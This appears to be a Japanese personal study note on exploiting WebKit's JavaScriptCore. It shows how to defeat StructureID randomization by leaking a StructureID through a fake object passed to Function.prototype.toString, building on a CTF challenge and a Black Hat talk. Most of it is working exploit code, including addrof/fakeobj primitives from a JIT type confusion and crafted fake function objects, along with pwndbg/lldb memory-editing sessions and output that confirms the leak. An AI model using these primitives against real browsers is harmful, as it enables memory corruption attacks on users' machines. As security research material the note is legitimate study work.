WebKit::JSC Exploitation: StructureID Leak
Versus: StructureID randomization
自分用のメモ書きです.適当にまとめているのでおかしなところがあったら教えてください.
知ってる人にとっては当たり前の内容かもしれません.許して.
ちょっと前の流れ
spraying array for guessing StructureID
- StructureID guessingのためにArrayをsprayしておく
- fakeobjは作成しただけではダメ -> (fakeobj instanceof Float64Array) == True になるようにする
- (fakeobj instanceof Float64Array) == False の間
jsCellHeader
に加算して更新する -> StrctureIDをbrute forceする
var structs = []; for (var i = 0; i < 0x1000; i++) { var a = new Float64Array(1); a['prop' + i] = 1337; structs.push(a); }
fakeobjは対象となるオブジェクト(victim)のstructureIDとを使用することが必要.
Float64Arrayを大量にsprayingすることにより, 高確率StrucutreIDが0x1000
になるようにする.
Security Mechanism
StructureID randomization
StructureIDがrandomになった.(https://github.com/WebKit/webkit/commit/f19aec9c6319a216f336aacd1f5cc75abba49cdf)
fake objectを作る際にはjsCellHeaderに対象オブジェクト(victim)のstructureIDが必要になる.
(fakeobj instanceof Float64Array)
などのアクセスを行うとSEGVする.
Versus security mechanism
今回はFireShell CTF 2020 - The Return of the Slideを利用し,BlackHatのスライドを参考にします.
Leaking StructureID
簡単にまとめると以下のようになる
- 有効ではないIDを用いたfakeobjectはGCが動き始めるまではcrashしない
- crashするまでの"semi-faked object"を用いてどうハックするか
- 全てのビルトイン関数で有効なStructureIDは利用されているのか
- もしないのならその関数をどう見つけるか
あらゆるオブジェクトには標準ビルトイン関数であるtoString()
が実装されている.
toString() メソッドは、オブジェクトを表す文字列を返します。 mdnより
fake objectを用いtoString()
が使用するbacking storeへのポインタを上書きすることで任意のオブジェクト情報を読み取れそうというアイデアらしい.
オブジェクト情報にはStructureID
が含まれる.これによりleakが可能となる.
let o = Symbol(“hello world”);
上記のようなSymbolオブジェクトを作成した場合,SymbolオブジェクトからStringオブジェクトへのポインタが存在する. また,StringオブジェクトからBacking storeまでのポインタも存在する.
コンセプトよりleakを行う場合以下のような処理を行う
- fake String objectを事前に作成しbacking storeへのポインタをvictimオブジェクトへ向くようにする
- fake Symbol objectを作成する
- fake Symbol objectのString pointerをcontainerにある要素(スライドでは
m_uid
)をfake String objectに書き換える. Symbol.prototype.toString.call(fake Symbol object)
よりleakされる
上記の大変わかり易いPoC github.com
なおこの手法の場合はfake objectを2つ作成する必要がある.
スライドでは次にfake objectを1つだけ利用するアイデアが示されている.
Function.prototype.toString
を利用したものである.基本的なコンセプトは変わらない.
以下の処理を行う
- UnlinkedFunctionExecutable JSObjectをオブジェクトを作成する.
identifier
プロパティを設定する - FunctionExecutable JSObjectを作成する.
executable
プロパティを設定しUnlinkedFunctionExecutable JSObject
を設定する - containerを作成しdummyのfunction jscellを設定する.
buttefly
プロパティなどとともに,executablebase
プロパティを設定しFunctionExecutable JSObject
を設定する - containerを
fake object
化 UnlinkedFunctionExecutable JSObject
のidentifier
プロパティにfake object
を設定するfake object
のbutterfly
プロパティにターゲットobjectを設定するFunction.prototype.toString.call(fake object)
よりリーク
Experimentation
スライドを参考により以下のような3つのオブジェクトを作成する.
let unlink = {a:7331, b:7331, c:7331, d:7331, e:7331, f:7331, g:7331, h:7331, i:7331, j:7331, k:7331}; let func = {a:3133, b:3133, c:3133, d:3133, e:3133, f:3133, g:3133, h:3133, i:3133, j:3133, k:3133}; let obj = {a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, h:1337, i:1337, j:1337, k:1337}; print(describe(obj)); print(describe(func)); print(describe(unlink)); readline(); Function.prototype.toString.call(obj); // Exception: TypeError
ここでfake
のjsCellをfunctionのものに上書きしてみる.describe関数より各オブジェクトのアドレスを得てgdbを用いてメモリを操作する.
pwndbg> r hoge.js Starting program: /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/jsc hoge.js [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff32cb700 (LWP 30397)] Object: 0x7fffb25c40e0 with butterfly (nil) (Structure 0x7fffb25fb8a0:[0x33e2, Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10}, NonArray, Proto:0x7ffff29f6de8, Leaf]), StructureID: 13282 Object: 0x7fffb25c4070 with butterfly (nil) (Structure 0x7fffb25fb8a0:[0x33e2, Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10}, NonArray, Proto:0x7ffff29f6de8, Leaf]), StructureID: 13282 Object: 0x7fffb25c4000 with butterfly (nil) (Structure 0x7fffb25fb8a0:[0x33e2, Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10}, NonArray, Proto:0x7ffff29f6de8, Leaf]), StructureID: 13282 ^C pwndbg> x/4gx 0x7fffb25c40e0 0x7fffb25c40e0: 0x01001800000033e2 0x0000000000000000 0x7fffb25c40f0: 0xfffe000000000539 0xfffe000000000539 pwndbg> set {int}0x7fffb25c40e0=0x00000000 pwndbg> set {int}0x7fffb25c40e4=0x00021a00 pwndbg> x/4gx 0x7fffb25c40e0 0x7fffb25c40e0: 0x00021a0000000000 0x0000000000000000 0x7fffb25c40f0: 0xfffe000000000539 0xfffe000000000539 pwndbg> c Continuing. Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
0x7ffff7697727 mov r14, qword ptr [r14 + 0x38]
で落ちており,
R14 0xfffe000000000538
である.
0x538
が含まれているのでfake
の中の該当プロパティを操作すればよさそうなのでfunc
を代入する.
スクリプトを更新する.
let unlink = {a:7331, b:7331, c:7331, d:7331, e:7331, f:7331, g:7331, h:7331, i:7331, j:7331, k:7331}; let func = {a:3133, b:3133, c:3133, d:3133, e:3133, f:3133, g:3133, h:3133, i:3133, j:3133, k:3133}; let obj = {a:1337, func, c:1337, d:1337, e:1337}; print(describe(obj)); print(describe(func)); print(describe(unlink)); readline(); Function.prototype.toString.call(obj); // Exception: TypeError
pwndbg> r hoge.js ~jsCellを上書き~ pwndbg> x/4gx 0x7fffb25e0040 0x7fffb25e0040: 0x00021a0000000000 0x0000000000000000 0x7fffb25e0050: 0xfffe000000000539 0x00007fffb25c4070 pwndbg> c Continuing. Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
0x7ffff769773a cmp byte ptr [rax + 0x13], 0
で落ちた.
RAX 0xfffe000000000c3d
0xc3d
が含まれているのでfunc
の該当箇所をunlink
のオブジェクトへ変更する.
スクリプトを更新する.
let unlink = {a:7331, b:7331, c:7331, d:7331, e:7331, f:7331, g:7331, h:7331, i:7331, j:7331, k:7331}; let func = {a:3133, b:3133, c:3133, d:3133, e:3133, f:3133, g:3133, h:3133, i:3133, j:unlink}; let obj = {a:1337, func, c:1337, d:1337, e:1337, f:1337}; print(describe(obj)); print(describe(func)); print(describe(unlink)); readline(); Function.prototype.toString.call(obj);
pwndbg> r hoge.js ~jsCellを上書き~ pwndbg> c Continuing. Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
0x7ffff769774d mov rbp, qword ptr [rdx]
で落ちた.
RDX 0xfffe000000001ca3
0x1ca3
が含まれているのでunlink
を変更する.
ここの箇所がidentifier
と思われるのでfunc
を代入したいがそのままではできない.
そこで上記をexploitを用いて再現してみる.
load("int64.js") function leakStructureId(target){ // address leak function addrof(obj){ var arr = [1.1, 2.2, 3.3]; arr['a'] = 1; function jitme(a, c) { a[1] = 2.2; c == 1; return a[0]; } for(var i = 0; i < 100000; i++){ jitme(arr, {}); // JITting... } let addr = Int64.fromDouble(jitme(arr, {valueOf: function(){ arr[0] = obj; return '1';}})); return addr; } // fakeobj function fakeobj(addr){ var arr = [1.1, 2.2, 3.3]; arr['a'] = 1; function jitme(a, c) { a[0] = 1.1; a[1] = 2.2; c == 1; a[2] = addr.asDouble(); } for(var i = 0; i < 100000; i++){ jitme(arr, {}); // JITting... } jitme(arr, {valueOf: function(){ arr[0] = {}; return '1';}}) return arr[2]; } var unlinked_function = { a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, identifier:{}, }; var fake_function = { a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, h:1337, i:1337, executable:unlinked_function, }; var container = { jscell: (new Int64('0x00001a0000000000')).asDouble(), // dummy function jscell butterfly: {}, a: 1337, functionExecutable: fake_function, }; var container_addr = addrof(container); let fakeaddr = Int64.add(container_addr, 0x10); let fake_object = fakeobj(fakeaddr); unlinked_function.identifier = fake_object; // `fake function`にする container.butterfly = target; // 対象オブジェクトを置く. var leaked_id = Function.prototype.toString.call(fake_object); // boom! return leaked_id.charCodeAt(10).toString(16) + leaked_id.charCodeAt(9).toString(16); } function main(){ let x = {x: 0x1337}; let leaked_id = leakStructureId(x); print("[+] Leaked:", leaked_id); readline(); } main();
unlinked_function.identifier = fake_object;
,container.butterfly = target;
ここでidentifier
の上書き + butterfly
への対象オブジェクトの設定をしている.
なおここからlldb
を使用している.
$ lldb /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc (lldb) settings set target.x86-disassembly-flavor intel (lldb) r test.js There is a running process, kill it and restart?: [Y/n] y Process 1326 exited with status = 9 (0x00000009) Process 1870 launched: '/home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc' (x86_64) Process 1870 stopped * thread #1, name = 'jsc', stop reason = signal SIGSEGV: invalid address (fault address: 0x0) (lldb) x/i $PC -> 0xcc8df2: 8b 68 14 mov ebp, dword ptr [rax + 0x14] (lldb) register read General Purpose Registers: rax = 0xfffe000000000539 ~省略~
SEGVした.
functionProtoFuncToString 関数にbreakpointを置いて1ステップずつ確認してみる.
$ lldb /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc (lldb) settings set target.x86-disassembly-flavor intel (lldb) breakpoint set --name functionProtoFuncToString Breakpoint 1: 2 locations. (lldb) r test.js (lldb) ni ~省略~
こちらのif文の周辺の命令を見てみる.
(lldb) x/5i $PC -> 0xcc89b5: 48 8b 40 58 mov rax, qword ptr [rax + 0x58] 0xcc89b9: f6 40 13 80 test byte ptr [rax + 0x13], -0x80 0xcc89bd: 0f 85 3a fe ff ff jne 0xcc87fd ; <+125> at JSFunctionInlines.h 0xcc89c3: 41 f6 c5 01 test r13b, 0x1 0xcc89c7: 74 08 je 0xcc89d1 ; <+593> [inlined] JSC::WriteBarrierBase<JSC::UnlinkedFunctionExecutable, WTF::DumbPtrTraits<JSC::UnlinkedFunctionExecutable> >::operator->() const at FunctionExecutable.h:135
jne
により0xcc87fd
へjumpすれば良いのでtest byte ptr [rax + 0x13], -0x80
でゼロフラグが立たなければOK.
この時rax
にはunlinked_function
のアドレスが格納されている.
(lldb) x/6gx `$rax` 0x7fffb25ac000: 0x01001800000055d3 0x0000000000000000 0x7fffb25ac010: 0xfffe000000000539 0xfffe000000000539 0x7fffb25ac020: 0xfffe000000000539 0xfffe000000000539
[rax + 0x13]
は以下である.
(lldb) x/6gx `$rax + 0x13` 0x7fffb25ac013: 0x000539fffe000000 0x000539fffe000000 0x7fffb25ac023: 0x000539fffe000000 0x000539fffe000000 0x7fffb25ac033: 0x000539fffe000000 0x000539fffe000000
つまり,0x7fffb25ac013
の下位1バイトを0x80以上にすれば良いことが分かる.
unlinked_function
オブジェクトのプロパティa:1337
を更新し0x80000000
を設定する.
スクリプトを更新する.
load("int64.js") function leakStructureId(target){ // address leak function addrof(obj){ var arr = [1.1, 2.2, 3.3]; arr['a'] = 1; function jitme(a, c) { a[1] = 2.2; c == 1; return a[0]; } for(var i = 0; i < 100000; i++){ jitme(arr, {}); // JITting... } let addr = Int64.fromDouble(jitme(arr, {valueOf: function(){ arr[0] = obj; return '1';}})); return addr; } // fakeobj function fakeobj(addr){ var arr = [1.1, 2.2, 3.3]; arr['a'] = 1; function jitme(a, c) { a[0] = 1.1; a[1] = 2.2; c == 1; a[2] = addr.asDouble(); } for(var i = 0; i < 100000; i++){ jitme(arr, {}); // JITting... } jitme(arr, {valueOf: function(){ arr[0] = {}; return '1';}}) return arr[2]; } var unlinked_function = { //a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, identifier:{}, a:(new Int64("0x80000000")).asDouble(), b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, identifier:{}, }; var fake_function = { a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, h:1337, i:1337, executable:unlinked_function, }; var container = { jscell: (new Int64('0x00001a0000000000')).asDouble(), // dummy function jscell butterfly: {}, a: 1337, functionExecutable: fake_function, }; var container_addr = addrof(container); let fakeaddr = Int64.add(container_addr, 0x10); let fake_object = fakeobj(fakeaddr); unlinked_function.identifier = fake_object; // `fake function`にする container.butterfly = target; // 対象オブジェクトを置く. var leaked_id = Function.prototype.toString.call(fake_object); // boom! return leaked_id.charCodeAt(10).toString(16) + leaked_id.charCodeAt(9).toString(16); } function main(){ let x = {x: 0x1337}; let leaked_id = leakStructureId(x); print(describe(x)) print("[+] Leaked:", leaked_id); readline(); } main();
結果
goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js Object: 0x7fd664eb8000 with butterfly (nil) (Structure 0x7fd664ebc6c0:[0xd7a, Object, {x:0}, NonArray, Proto:0x7fd6a52f6de8, Leaf]), StructureID: 3450 [+] Leaked: 0d7a goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js Object: 0x7fab5feb8000 with butterfly (nil) (Structure 0x7fab5febc6c0:[0x65bd, Object, {x:0}, NonArray, Proto:0x7faba02f6de8, Leaf]), StructureID: 26045 [+] Leaked: 065bd goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js Object: 0x7fdfd63b8000 with butterfly (nil) (Structure 0x7fdfd63bc6c0:[0xaec1, Object, {x:0}, NonArray, Proto:0x7fe0167f6de8, Leaf]), StructureID: 44737 [+] Leaked: 0aec1 goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js Object: 0x7f0bfa7b8000 with butterfly (nil) (Structure 0x7f0bfa7bc6c0:[0xef6c, Object, {x:0}, NonArray, Proto:0x7f0c3abf6de8, Leaf]), StructureID: 61292 [+] Leaked: 0ef6c goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js Object: 0x7f4b600b8000 with butterfly (nil) (Structure 0x7f4b600bc6c0:[0xe1ab, Object, {x:0}, NonArray, Proto:0x7f4ba04f6de8, Leaf]), StructureID: 57771 [+] Leaked: 0e1ab
無事にStructureID
のリークに成功した.
Reference
- http://www.phrack.org/papers/attacking_javascript_engines.html
- https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
- https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/runtime/FunctionPrototype.cpp
- https://github.com/WebKit/webkit/blob/89c28d471fae35f1788a0f857067896a10af8974/Source/JavaScriptCore/runtime/JSFunctionInlines.h
- https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/bytecode/UnlinkedFunctionExecutable.h
- https://gts3.org/2019/Real-World-CTF-2019-Safari.html
- https://gist.githubusercontent.com/HQ1995/96d8922f915bc44ca794611344324a8f/raw/41d80298dc276d22d1efcc2b63a4ccf93266ed68/leakid.js